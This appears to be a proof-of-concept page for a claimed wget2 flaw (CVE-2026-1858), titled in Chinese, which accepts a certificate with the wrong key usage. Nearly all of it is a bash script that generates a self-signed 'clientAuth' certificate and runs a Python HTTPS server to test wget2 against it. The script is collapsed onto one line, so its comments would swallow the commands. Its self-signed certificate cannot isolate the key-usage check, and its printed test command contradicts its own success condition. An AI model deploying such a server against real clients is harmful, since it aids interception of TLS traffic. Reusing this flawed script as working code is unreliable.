CVE-2026-1858 wget2证书验证绕过漏洞

#!/bin/bash # PoC for CVE-2026-1858: wget2 Incorrect Key Usage Acceptance # This script generates a certificate with 'clientAuth' EKU (instead of 'serverAuth') # and sets up a test HTTPS server. If wget2 connects without error, the vuln is confirmed. # 1. Generate Private Key openssl genrsa -out malicious.key 2048 # 2. Create Configuration with incorrect EKU (Client Auth) cat > malicious.cnf <<EOF [req] distinguished_name = req_distinguished_name req_extensions = v3_req [req_distinguished_name] commonName = www.example.com [v3_req] keyUsage = digitalSignature, keyEncipherment extendedKeyUsage = clientAuth # Incorrect EKU for a Server EOF # 3. Generate Self-Signed Certificate openssl req -new -x509 -key malicious.key -out malicious.crt -days 365 -config malicious.cnf # 4. Start a simple HTTPS server using the malicious cert (Python 3) echo "Starting malicious server on port 8443..." python3 - <<PY_SCRIPT import http.server import ssl import socketserver context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_cert_chain('malicious.crt', 'malicious.key') httpd = socketserver.TCPServer(('0.0.0.0', 8443), http.server.SimpleHTTPRequestHandler) httpd.socket = context.wrap_socket(httpd.socket, server_side=True) print("Server running. Test with: wget2 https://localhost:8443 --no-check-certificate") print("If wget2 connects WITHOUT --no-check-certificate, the vulnerability is exploited.") httpd.serve_forever() PY_SCRIPT